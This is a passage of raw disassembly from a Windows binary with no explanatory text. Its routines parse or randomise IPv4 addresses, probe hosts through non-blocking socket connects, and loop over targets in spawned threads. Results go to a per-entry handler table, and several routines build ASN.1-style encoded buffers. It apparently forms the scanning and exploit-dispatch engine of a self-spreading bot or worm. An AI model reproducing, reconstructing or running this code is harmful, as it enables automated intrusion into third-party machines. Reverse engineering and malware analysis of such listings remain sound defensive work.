		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB20[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: ___:0040BBBEp
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9D4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9BC
		push	esi
		mov	edi, eax
		call	dword_4CBA6C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C3E8+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26B0C98h
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E914[ebx]
		cmp	dword_4CBB24[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E914[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E64
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E710[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB20
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E3C
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+29Ch+var_29C], offset dword_4CDB20
		call	near ptr 77F7E300h
		nop
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_4317FC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		nop
		call	near ptr 26A044Bh
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 2700000h


loc_40C600:				; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA14
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB20[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB20
		push	esi
		nop
		call	near ptr 2710000h
		push	80000400h
		push	esi
		call	near ptr 27006FDh
		nop
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F48
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C3E8+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C3E8+27Bj
					; sub_40C3E8+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB24[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C3E8+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F14
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C3E8+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C3E8+371j
		call	near ptr 26A0CA7h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C3E8+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C3E8+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C7B0:				; CODE XREF: sub_40C3E8+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB20[eax*8]
		push	eax
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431E9C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C3E8+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CBB24[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB20
		call	near ptr 2710000h
		nop


loc_40C835:				; CODE XREF: sub_40C3E8+440j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_40C845:				; CODE XREF: sub_40C3E8+3B6j
					; sub_40C3E8+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB24[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi
		jmp	short loc_40C845
sub_40C3E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA54
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E91C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA60
		push	eax
		mov	edi, offset dword_4CE4E4
		push	offset dword_431F7C
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA6C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp

; ---------------------------------------------------------------------------
dword_40C92C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+5F60o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h
		dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h
		dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C85Fh, 0E8905757h,	2293AF7h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 31E890FCh, 0FF022736h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh
		dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h,	50046A08h
		dd 50E0458Dh, 1030BE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40CA1D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5C80o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0F868FFFFh
		dd 5000431Fh, 0F7FDE8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 10050000h,	500043E7h, 0F547E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h,	0E8575700h
		dd 2293A07h, 89C73B90h,	0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 2273540h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh,	0CC68FFFFh
		dd 5000431Fh, 0F76DE8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB88C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC80
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: ___:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432030
		lea	ecx, [ebp+var_30]
